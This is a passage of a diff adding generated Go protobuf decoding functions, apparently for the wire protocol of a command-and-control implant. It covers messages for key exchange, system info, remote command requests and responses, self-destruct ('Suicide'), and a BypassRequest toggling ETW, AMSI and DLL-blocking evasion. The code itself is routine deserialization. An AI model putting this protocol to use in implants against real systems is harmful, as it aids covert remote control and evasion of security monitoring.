unsafe.String(&dAtA[iNdEx], intStringLen) + } + m.PublicKey = stringValue + iNdEx = postIndex + default: + iNdEx = preIndex + skippy, err := protobuf_go_lite.Skip(dAtA[iNdEx:]) + if err != nil { + return err + } + if (skippy < 0) || (iNdEx+skippy) < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if (iNdEx + skippy) > l { + return io.ErrUnexpectedEOF + } + m.unknownFields = append(m.unknownFields, dAtA[iNdEx:iNdEx+skippy]...) + iNdEx += skippy + } + } + + if iNdEx > l { + return io.ErrUnexpectedEOF + } + return nil +} +func (m *KeyExchangeRequest) UnmarshalVTUnsafe(dAtA []byte) error { + l := len(dAtA) + iNdEx := 0 + var err error + for iNdEx < l { + preIndex := iNdEx + var wire uint64 + wire, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + fieldNum := int32(wire >> 3) + wireType := int(wire & 0x7) + if wireType == 4 { + return fmt.Errorf("proto: KeyExchangeRequest: wiretype end group for non-group") + } + if fieldNum <= 0 { + return fmt.Errorf("proto: KeyExchangeRequest: illegal tag %d (wire type %d)", fieldNum, wire) + } + switch fieldNum { + case 1: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field PublicKey", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + var stringValue string + if intStringLen > 0 { + stringValue = unsafe.String(&dAtA[iNdEx], intStringLen) + } + m.PublicKey = stringValue + iNdEx = postIndex + case 2: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Signature", wireType) + } + var byteLen int + var _v uint64 + _v, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + byteLen = int(_v) + if err != nil { + return err + } + if byteLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + byteLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.Signature = dAtA[iNdEx:postIndex] + iNdEx = postIndex + case 3: + if wireType != 0 { + return fmt.Errorf("proto: wrong wireType = %d for field Timestamp", wireType) + } + m.Timestamp = 0 + m.Timestamp, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + case 4: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Nonce", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + var stringValue string + if intStringLen > 0 { + stringValue = unsafe.String(&dAtA[iNdEx], intStringLen) + } + m.Nonce = stringValue + iNdEx = postIndex + default: + iNdEx = preIndex + skippy, err := protobuf_go_lite.Skip(dAtA[iNdEx:]) + if err != nil { + return err + } + if (skippy < 0) || (iNdEx+skippy) < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if (iNdEx + skippy) > l { + return io.ErrUnexpectedEOF + } + m.unknownFields = append(m.unknownFields, dAtA[iNdEx:iNdEx+skippy]...) + iNdEx += skippy + } + } + + if iNdEx > l { + return io.ErrUnexpectedEOF + } + return nil +} +func (m *KeyExchangeResponse) UnmarshalVTUnsafe(dAtA []byte) error { + l := len(dAtA) + iNdEx := 0 + var err error + for iNdEx < l { + preIndex := iNdEx + var wire uint64 + wire, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + fieldNum := int32(wire >> 3) + wireType := int(wire & 0x7) + if wireType == 4 { + return fmt.Errorf("proto: KeyExchangeResponse: wiretype end group for non-group") + } + if fieldNum <= 0 { + return fmt.Errorf("proto: KeyExchangeResponse: illegal tag %d (wire type %d)", fieldNum, wire) + } + switch fieldNum { + case 1: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field PublicKey", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + var stringValue string + if intStringLen > 0 { + stringValue = unsafe.String(&dAtA[iNdEx], intStringLen) + } + m.PublicKey = stringValue + iNdEx = postIndex + default: + iNdEx = preIndex + skippy, err := protobuf_go_lite.Skip(dAtA[iNdEx:]) + if err != nil { + return err + } + if (skippy < 0) || (iNdEx+skippy) < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if (iNdEx + skippy) > l { + return io.ErrUnexpectedEOF + } + m.unknownFields = append(m.unknownFields, dAtA[iNdEx:iNdEx+skippy]...) + iNdEx += skippy + } + } + + if iNdEx > l { + return io.ErrUnexpectedEOF + } + return nil +} +func (m *Init) UnmarshalVTUnsafe(dAtA []byte) error { + l := len(dAtA) + iNdEx := 0 + var err error + for iNdEx < l { + preIndex := iNdEx + var wire uint64 + wire, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + fieldNum := int32(wire >> 3) + wireType := int(wire & 0x7) + if wireType == 4 { + return fmt.Errorf("proto: Init: wiretype end group for non-group") + } + if fieldNum <= 0 { + return fmt.Errorf("proto: Init: illegal tag %d (wire type %d)", fieldNum, wire) + } + switch fieldNum { + case 1: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Data", wireType) + } + var byteLen int + var _v uint64 + _v, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + byteLen = int(_v) + if err != nil { + return err + } + if byteLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + byteLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.Data = dAtA[iNdEx:postIndex] + iNdEx = postIndex + default: + iNdEx = preIndex + skippy, err := protobuf_go_lite.Skip(dAtA[iNdEx:]) + if err != nil { + return err + } + if (skippy < 0) || (iNdEx+skippy) < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if (iNdEx + skippy) > l { + return io.ErrUnexpectedEOF + } + m.unknownFields = append(m.unknownFields, dAtA[iNdEx:iNdEx+skippy]...) + iNdEx += skippy + } + } + + if iNdEx > l { + return io.ErrUnexpectedEOF + } + return nil +} +func (m *SysInfo) UnmarshalVTUnsafe(dAtA []byte) error { + l := len(dAtA) + iNdEx := 0 + var err error + for iNdEx < l { + preIndex := iNdEx + var wire uint64 + wire, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + fieldNum := int32(wire >> 3) + wireType := int(wire & 0x7) + if wireType == 4 { + return fmt.Errorf("proto: SysInfo: wiretype end group for non-group") + } + if fieldNum <= 0 { + return fmt.Errorf("proto: SysInfo: illegal tag %d (wire type %d)", fieldNum, wire) + } + switch fieldNum { + case 1: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Filepath", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + var stringValue string + if intStringLen > 0 { + stringValue = unsafe.String(&dAtA[iNdEx], intStringLen) + } + m.Filepath = stringValue + iNdEx = postIndex + case 2: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Workdir", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + var stringValue string + if intStringLen > 0 { + stringValue = unsafe.String(&dAtA[iNdEx], intStringLen) + } + m.Workdir = stringValue + iNdEx = postIndex + case 3: + if wireType != 0 { + return fmt.Errorf("proto: wrong wireType = %d for field IsPrivilege", wireType) + } + var v int + var _v uint64 + _v, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + v = int(_v) + if err != nil { + return err + } + m.IsPrivilege = bool(v != 0) + case 11: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Os", wireType) + } + var msglen int + var _v uint64 + _v, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + msglen = int(_v) + if err != nil { + return err + } + if msglen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + msglen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + if m.Os == nil { + m.Os = &Os{} + } + if err := m.Os.UnmarshalVTUnsafe(dAtA[iNdEx:postIndex]); err != nil { + return err + } + iNdEx = postIndex + case 12: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Process", wireType) + } + var msglen int + var _v uint64 + _v, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + msglen = int(_v) + if err != nil { + return err + } + if msglen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + msglen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + if m.Process == nil { + m.Process = &Process{} + } + if err := m.Process.UnmarshalVTUnsafe(dAtA[iNdEx:postIndex]); err != nil { + return err + } + iNdEx = postIndex + default: + iNdEx = preIndex + skippy, err := protobuf_go_lite.Skip(dAtA[iNdEx:]) + if err != nil { + return err + } + if (skippy < 0) || (iNdEx+skippy) < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if (iNdEx + skippy) > l { + return io.ErrUnexpectedEOF + } + m.unknownFields = append(m.unknownFields, dAtA[iNdEx:iNdEx+skippy]...) + iNdEx += skippy + } + } + + if iNdEx > l { + return io.ErrUnexpectedEOF + } + return nil +} +func (m *Suicide) UnmarshalVTUnsafe(dAtA []byte) error { + l := len(dAtA) + iNdEx := 0 + var err error + for iNdEx < l { + preIndex := iNdEx + var wire uint64 + wire, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + fieldNum := int32(wire >> 3) + wireType := int(wire & 0x7) + if wireType == 4 { + return fmt.Errorf("proto: Suicide: wiretype end group for non-group") + } + if fieldNum <= 0 { + return fmt.Errorf("proto: Suicide: illegal tag %d (wire type %d)", fieldNum, wire) + } + switch fieldNum { + case 1: + if wireType != 0 { + return fmt.Errorf("proto: wrong wireType = %d for field Type", wireType) + } + m.Type = 0 + m.Type, iNdEx, err = protobuf_go_lite.DecodeVarintInt32(dAtA, iNdEx) + if err != nil { + return err + } + case 2: + if wireType != 0 { + return fmt.Errorf("proto: wrong wireType = %d for field Timestamp", wireType) + } + m.Timestamp = 0 + m.Timestamp, iNdEx, err = protobuf_go_lite.DecodeVarintInt64(dAtA, iNdEx) + if err != nil { + return err + } + default: + iNdEx = preIndex + skippy, err := protobuf_go_lite.Skip(dAtA[iNdEx:]) + if err != nil { + return err + } + if (skippy < 0) || (iNdEx+skippy) < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if (iNdEx + skippy) > l { + return io.ErrUnexpectedEOF + } + m.unknownFields = append(m.unknownFields, dAtA[iNdEx:iNdEx+skippy]...) + iNdEx += skippy + } + } + + if iNdEx > l { + return io.ErrUnexpectedEOF + } + return nil +} +func (m *Request) UnmarshalVTUnsafe(dAtA []byte) error { + l := len(dAtA) + iNdEx := 0 + var err error + for iNdEx < l { + preIndex := iNdEx + var wire uint64 + wire, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + fieldNum := int32(wire >> 3) + wireType := int(wire & 0x7) + if wireType == 4 { + return fmt.Errorf("proto: Request: wiretype end group for non-group") + } + if fieldNum <= 0 { + return fmt.Errorf("proto: Request: illegal tag %d (wire type %d)", fieldNum, wire) + } + switch fieldNum { + case 1: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Name", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + var stringValue string + if intStringLen > 0 { + stringValue = unsafe.String(&dAtA[iNdEx], intStringLen) + } + m.Name = stringValue + iNdEx = postIndex + case 2: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Input", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + var stringValue string + if intStringLen > 0 { + stringValue = unsafe.String(&dAtA[iNdEx], intStringLen) + } + m.Input = stringValue + iNdEx = postIndex + case 3: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Args", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + var stringValue string + if intStringLen > 0 { + stringValue = unsafe.String(&dAtA[iNdEx], intStringLen) + } + m.Args = append(m.Args, stringValue) + iNdEx = postIndex + case 4: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Params", wireType) + } + var msglen int + var _v uint64 + _v, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + msglen = int(_v) + if err != nil { + return err + } + if msglen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + msglen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + if m.Params == nil { + m.Params = make(map[string]string) + } + var mapkey string + var mapvalue string + for iNdEx < postIndex { + entryPreIndex := iNdEx + var wire uint64 + wire, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + fieldNum := int32(wire >> 3) + if fieldNum == 1 { + var stringLenmapkey uint64 + stringLenmapkey, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLenmapkey := int(stringLenmapkey) + if intStringLenmapkey < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postStringIndexmapkey := iNdEx + intStringLenmapkey + if postStringIndexmapkey < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postStringIndexmapkey > l { + return io.ErrUnexpectedEOF + } + if intStringLenmapkey == 0 { + mapkey = "" + } else { + mapkey = unsafe.String(&dAtA[iNdEx], intStringLenmapkey) + } + iNdEx = postStringIndexmapkey + } else if fieldNum == 2 { + var stringLenmapvalue uint64 + stringLenmapvalue, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLenmapvalue := int(stringLenmapvalue) + if intStringLenmapvalue < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postStringIndexmapvalue := iNdEx + intStringLenmapvalue + if postStringIndexmapvalue < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postStringIndexmapvalue > l { + return io.ErrUnexpectedEOF + } + if intStringLenmapvalue == 0 { + mapvalue = "" + } else { + mapvalue = unsafe.String(&dAtA[iNdEx], intStringLenmapvalue) + } + iNdEx = postStringIndexmapvalue + } else { + iNdEx = entryPreIndex + skippy, err := protobuf_go_lite.Skip(dAtA[iNdEx:]) + if err != nil { + return err + } + if (skippy < 0) || (iNdEx+skippy) < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if (iNdEx + skippy) > postIndex { + return io.ErrUnexpectedEOF + } + iNdEx += skippy + } + } + m.Params[mapkey] = mapvalue + iNdEx = postIndex + case 5: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Bin", wireType) + } + var byteLen int + var _v uint64 + _v, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + byteLen = int(_v) + if err != nil { + return err + } + if byteLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + byteLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.Bin = dAtA[iNdEx:postIndex] + iNdEx = postIndex + default: + iNdEx = preIndex + skippy, err := protobuf_go_lite.Skip(dAtA[iNdEx:]) + if err != nil { + return err + } + if (skippy < 0) || (iNdEx+skippy) < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if (iNdEx + skippy) > l { + return io.ErrUnexpectedEOF + } + m.unknownFields = append(m.unknownFields, dAtA[iNdEx:iNdEx+skippy]...) + iNdEx += skippy + } + } + + if iNdEx > l { + return io.ErrUnexpectedEOF + } + return nil +} +func (m *Response) UnmarshalVTUnsafe(dAtA []byte) error { + l := len(dAtA) + iNdEx := 0 + var err error + for iNdEx < l { + preIndex := iNdEx + var wire uint64 + wire, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + fieldNum := int32(wire >> 3) + wireType := int(wire & 0x7) + if wireType == 4 { + return fmt.Errorf("proto: Response: wiretype end group for non-group") + } + if fieldNum <= 0 { + return fmt.Errorf("proto: Response: illegal tag %d (wire type %d)", fieldNum, wire) + } + switch fieldNum { + case 1: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Output", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + var stringValue string + if intStringLen > 0 { + stringValue = unsafe.String(&dAtA[iNdEx], intStringLen) + } + m.Output = stringValue + iNdEx = postIndex + case 2: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Error", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + var stringValue string + if intStringLen > 0 { + stringValue = unsafe.String(&dAtA[iNdEx], intStringLen) + } + m.Error = stringValue + iNdEx = postIndex + case 3: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Kv", wireType) + } + var msglen int + var _v uint64 + _v, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + msglen = int(_v) + if err != nil { + return err + } + if msglen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + msglen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + if m.Kv == nil { + m.Kv = make(map[string]string) + } + var mapkey string + var mapvalue string + for iNdEx < postIndex { + entryPreIndex := iNdEx + var wire uint64 + wire, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + fieldNum := int32(wire >> 3) + if fieldNum == 1 { + var stringLenmapkey uint64 + stringLenmapkey, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLenmapkey := int(stringLenmapkey) + if intStringLenmapkey < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postStringIndexmapkey := iNdEx + intStringLenmapkey + if postStringIndexmapkey < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postStringIndexmapkey > l { + return io.ErrUnexpectedEOF + } + if intStringLenmapkey == 0 { + mapkey = "" + } else { + mapkey = unsafe.String(&dAtA[iNdEx], intStringLenmapkey) + } + iNdEx = postStringIndexmapkey + } else if fieldNum == 2 { + var stringLenmapvalue uint64 + stringLenmapvalue, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLenmapvalue := int(stringLenmapvalue) + if intStringLenmapvalue < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postStringIndexmapvalue := iNdEx + intStringLenmapvalue + if postStringIndexmapvalue < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postStringIndexmapvalue > l { + return io.ErrUnexpectedEOF + } + if intStringLenmapvalue == 0 { + mapvalue = "" + } else { + mapvalue = unsafe.String(&dAtA[iNdEx], intStringLenmapvalue) + } + iNdEx = postStringIndexmapvalue + } else { + iNdEx = entryPreIndex + skippy, err := protobuf_go_lite.Skip(dAtA[iNdEx:]) + if err != nil { + return err + } + if (skippy < 0) || (iNdEx+skippy) < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if (iNdEx + skippy) > postIndex { + return io.ErrUnexpectedEOF + } + iNdEx += skippy + } + } + m.Kv[mapkey] = mapvalue + iNdEx = postIndex + case 4: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Array", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + var stringValue string + if intStringLen > 0 { + stringValue = unsafe.String(&dAtA[iNdEx], intStringLen) + } + m.Array = append(m.Array, stringValue) + iNdEx = postIndex + default: + iNdEx = preIndex + skippy, err := protobuf_go_lite.Skip(dAtA[iNdEx:]) + if err != nil { + return err + } + if (skippy < 0) || (iNdEx+skippy) < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if (iNdEx + skippy) > l { + return io.ErrUnexpectedEOF + } + m.unknownFields = append(m.unknownFields, dAtA[iNdEx:iNdEx+skippy]...) + iNdEx += skippy + } + } + + if iNdEx > l { + return io.ErrUnexpectedEOF + } + return nil +} +func (m *BypassRequest) UnmarshalVTUnsafe(dAtA []byte) error { + l := len(dAtA) + iNdEx := 0 + var err error + for iNdEx < l { + preIndex := iNdEx + var wire uint64 + wire, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + fieldNum := int32(wire >> 3) + wireType := int(wire & 0x7) + if wireType == 4 { + return fmt.Errorf("proto: BypassRequest: wiretype end group for non-group") + } + if fieldNum <= 0 { + return fmt.Errorf("proto: BypassRequest: illegal tag %d (wire type %d)", fieldNum, wire) + } + switch fieldNum { + case 1: + if wireType != 0 { + return fmt.Errorf("proto: wrong wireType = %d for field ETW", wireType) + } + var v int + var _v uint64 + _v, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + v = int(_v) + if err != nil { + return err + } + m.ETW = bool(v != 0) + case 2: + if wireType != 0 { + return fmt.Errorf("proto: wrong wireType = %d for field AMSI", wireType) + } + var v int + var _v uint64 + _v, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + v = int(_v) + if err != nil { + return err + } + m.AMSI = bool(v != 0) + case 3: + if wireType != 0 { + return fmt.Errorf("proto: wrong wireType = %d for field BlockDll", wireType) + } + var v int + var _v uint64 + _v, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + v = int(_v) + if err != nil { + return err + } + m.BlockDll = bool(v != 0) + default: + iNdEx = preIndex + skippy, err := protobuf_go_lite.Skip(dAtA[iNdEx:]) + if err != nil { + return err + } + if (skippy < 0) || (iNdEx+skippy) < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if (iNdEx + skippy) > l { + return io.ErrUnexpectedEOF + } + m.unknownFields = append(m.unknownFields, dAtA[iNdEx:iNdEx+skippy]...) + iNdEx += skippy + } + } + + if iNdEx > l { + return io.ErrUnexpectedEOF + } + return nil +} +func (m *NetInterface) UnmarshalVTUnsafe(dAtA []byte) error { + l := len(dAtA) + iNdEx := 0 + var err error + for iNdEx < l { + preIndex := iNdEx + var wire uint64 + wire, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + fieldNum := int32(wire >> 3) + wireType := int(wire & 0x7) + if wireType == 4 { + return fmt.Errorf("proto: NetInterface: wiretype end group for non-group") + } + if fieldNum <= 0 { + return fmt.Errorf("proto: NetInterface: illegal tag %d (wire type %d)", fieldNum, wire) + } + switch fieldNum { + case 1: + if wireType != 0 { + return fmt.Errorf("proto: wrong wireType = %d for field Index", wireType) + } + m.Index = 0 + m.Index, iNdEx, err = protobuf_go_lite.DecodeVarintInt32(dAtA, iNdEx) + if err != nil { + return err + } + case 2: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Name", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + var stringValue string + if intStringLen > 0 { + stringValue = unsafe.String(&dAtA[iNdEx], intStringLen) + } + m.Name = stringValue + iNdEx = postIndex + case 3: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Mac", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + var stringValue string + if intStringLen > 0 { + stringValue = unsafe.String(&dAtA[iNdEx], intStringLen) + } + m.Mac = stringValue + iNdEx = postIndex + case 4: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field IpAddresses", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + var stringValue string + if intStringLen > 0 { + stringValue = unsafe.String(&dAtA[iNdEx], intStringLen) + } + m.IpAddresses = append(m.IpAddresses, stringValue) + iNdEx = postIndex + default: + iNdEx = preIndex + skippy, err := protobuf_go_lite.Skip(dAtA[iNdEx:]) + if err != nil { + return err + } + if (skippy < 0) || (iNdEx+skippy) < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if (iNdEx + skippy) > l { + return io.ErrUnexpectedEOF + } + m.unknownFields = append(m.unknownFields, dAtA[iNdEx:iNdEx+skippy]...) + iNdEx += skippy + } + } + + if iNdEx > l { + return io.ErrUnexpectedEOF + } + return nil +} +func (m *SockTabEntry) UnmarshalVTUnsafe(dAtA []byte) error { + l := len(dAtA) + iNdEx := 0 + var err error + for iNdEx < l { + preIndex := iNdEx + var wire uint64 + wire, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + fieldNum := int32(wire >> 3) + wireType := int(wire & 0x7) + if wireType == 4 { + return fmt.Errorf("proto: SockTabEntry: wiretype end group for non-group") + } + if fieldNum <= 0 { + return fmt.Errorf("proto: SockTabEntry: illegal tag %d (wire type %d)", fieldNum, wire) + } + switch fieldNum { + case 1: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field LocalAddr", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + var stringValue string + if intStringLen > 0 { + stringValue = unsafe.String(&dAtA[iNdEx], 